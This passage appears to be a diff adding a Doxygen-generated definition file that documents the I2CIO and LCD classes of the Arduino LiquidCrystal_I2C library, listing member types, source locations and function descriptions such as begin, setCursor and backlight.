'class_i2_c_i_o_1a8c566f3fd332eefe4db57cbe6b69337c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +bool +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_initialised'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '144'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1abcd6f7f5f176f965d8ae535afa9f6cec'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_shadow'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '141'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + cp-fileline = '42'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_l_c_d'; + cp-name = 'LCD'; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___i2_c'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___s_r'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___s_r2_w'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___s_r3_w'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1abb3ed88d530f6283e6159b4973e7da9e'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'autoscroll'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '354'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns on automatic scrolling of the LCD. + @discussion Turns on automatic scrolling of the LCD. This causes each + character output to the display to push previous characters over by one + space. If the current text direction is left-to-right (the default), + the display scrolls to the left; if the current direction is right-to-left, + the display scrolls to the right. + This has the effect of outputting each new character to the same location on + the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aba8867fe2210cbfa8db869208709be10'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'backlight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '402'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on the LCD backlight. + @discussion Switch-on the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a3f587d1cbb2d59765ef60a5216b56fea'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'cols'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rows'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charsize'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '196'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract LCD initialization. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class. + + This method is abstract, a base implementation is available common to all LCD + drivers. Should it not be compatible with some other LCD driver, a derived + implementation should be done on the driver specif class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] character size, default==LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a878b36878fa8287093964eba83aace77'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'blink'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '260'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Display the cursor of the LCD. + @discussion Display the blinking LCD cursor. If used in combination with + the cursor() function, the result will depend on the particular display. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1afa699e0beeeee03cce8cef87eba81c4a'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'clear'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '208'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Clears the LCD. + @discussion Clears the LCD screen and positions the cursor in the upper-left + corner. + + This operation is time consuming for the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a91cba8f93c692abcddf8bc3de58d2d3a'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'createChar'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'location'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charmap'; + sec-mem-param-array = '[]'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '382'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Creates a custom character for use on the LCD. + @discussion Create a custom character (glyph) for use on the LCD. + Most chipsets only support up to eight characters of 5x8 pixels. Therefore, + this methods has been limited to locations (numbered 0 to 7). + + The appearance of each custom character is specified by an array of eight + bytes, one for each row. The five least significant bits of each byte + determine the pixels in that row. To display a custom character on screen, + write()/print() its number, i.e. lcd.print (char(x)); // Where x is 0..7. + + @param location[in] LCD memory location of the character to create + (0 to 7) + @param charmap[in] the bitmap array representing each row of the character. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a194814f64dfa50a90e07e0fe0d361620'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'cursor'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '278'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Display the LCD cursor. + @discussion Display the LCD cursor: an underscore (line) at the location + where the next character will be written. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a5b07cf05e8e5e7c53654f5ca0cf58b89'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'display'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '242'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns on the LCD display. + @discussion Turns on the LCD display, after it's been turned off with + noDisplay(). This will restore the text (and cursor location) that was on + the display prior to calling noDisplay(). + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aee45ad37f09312f5d9982257e2d37e68'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'home'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '221'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the cursor to the upper-left corner. + @discussion Positions the cursor in the upper-left of the LCD. + That is, use that location in outputting subsequent text to the display. + To also clear the display, use the clear() function instead. + + This operation is time consuming for the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a00bb2db1390721abc7b24ac4b8c276c8'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LCD'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '179'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract LiquidCrystal abstract constructor. + @discussion LiquidCrystal class abstract constructor needed to create + the base abstract class. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a238e9f6476dc7df64af04eb6c87f6ac7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'leftToRight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '309'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Set the direction for text written to the LCD to left-to-right. + @discussion Set the direction for text written to the LCD to left-to-right. + All subsequent characters written to the display will go from left to right, + but does not affect previously-output text. + + This is the default configuration. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aad2abc99d1aca5403873579d9d72c2d4'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'moveCursorLeft'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '330'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Moves the cursor one space to the left. + @discussion + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a09eec0c712e54b066f5894635c1fe75c'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'moveCursorRight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '339'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Moves the cursor one space to the right. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a96035dde40efbf73390e00b5beb00231'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noAutoscroll'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '364'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns off automatic scrolling of the LCD. + @discussion Turns off automatic scrolling of the LCD, this is the default + configuration of the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a2a331b4e142734411b2f1cfaffe7a488'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '411'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-off the LCD backlight. + @discussion Switch-off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a3b755c4b397b5985752be8c30ee1a9b5'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noBlink'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '250'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns off the blinking of the LCD cursor. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aec8ffaa1e69c7a6e13ac0cfbc29151d9'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noCursor'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '268'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Hides the LCD cursor. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1af3974da6d988ba2d21c25135ada12108'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noDisplay'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '231'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns off the LCD display. + @discussion Turns off the LCD display, without losing the text currently + being displayed on it. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a191639be183be1476c9bfe6d455d23b2'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'off'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '429'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch off the LCD module. + @discussion Switch off the LCD module, it will switch off the LCD controller + and the backlight. This method has the same effect of calling noDisplay and + noBacklight. @see display, @see backlight +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a718da3a638deb59bd1c7a5222a52d98a'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'on'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '420'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch on the LCD module. + @discussion Switch on the LCD module, it will switch on the LCD controller + and the backlight. This method has the same effect of calling display and + backlight. @see display, @see backlight +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1ac014830eadc26bfd86308ea8734f4428'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'rightToLeft'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '322'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Set the direction for text written to the LCD to right-to-left. + @discussion Set the direction for text written to the LCD to right-to-left. + All subsequent characters written to the display will go from right to left, + but does not affect previously-output text. + + left-to-right is the default configuration. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a6f3a503055b3b8dcf0f61b2633c584f7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'scrollDisplayLeft'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '287'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the left. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1abfc44b294772f09020bfa32af8a79571'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'scrollDisplayRight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '296'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the right. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a3305570d7b37eb93f2cf840263c15828'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '463'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. The behaviour + of this method is very dependent on the device. Some controllers support + dimming some don't. Please read the actual header file for each individual + device. The setBacklightPin method has to be called before setting the backlight + or the adequate backlight control constructor. + @see setBacklightPin. + + NOTE: The prefered methods to control the backlight are "backlight" and + "noBacklight". + + @param 0..255 - the value is very dependent on the LCD. However, + BACKLIGHT_OFF will be interpreted as off and BACKLIGHT_ON will drive the + backlight on. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a53f4ee9b39d9ab3d7ae4d9f8dedca3bc'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '444'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + This method is device dependent and can be programmed on each subclass. An + empty function call is provided that does nothing. + + @param value: pin associated to backlight control. + @param pol: backlight polarity control (POSITIVE, NEGATIVE) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a48220450fd152b25994eb7d0ba340e8d'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setCursor'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'col'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'row'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '393'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Position the LCD cursor. + @discussion Sets the position of the LCD cursor. Set the location at which + subsequent text written to the LCD will be displayed. + + @param col[in] LCD column + @param row[in] LCD row - line. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a2d89cc2e62f72afb5f15a7fd812900e3'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '477'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Writes to the LCD. + @discussion This method writes character to the LCD in the current cursor + position. + + This is the virtual write method, implemented in the Print class, therefore + all Print class methods will end up calling this method. + + @param value[in] Value to write to the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'protected-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1a88b16ea0e5c7d1cabc5007d48bcbd2b0'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_cols'; + sec-mem-desc-file = 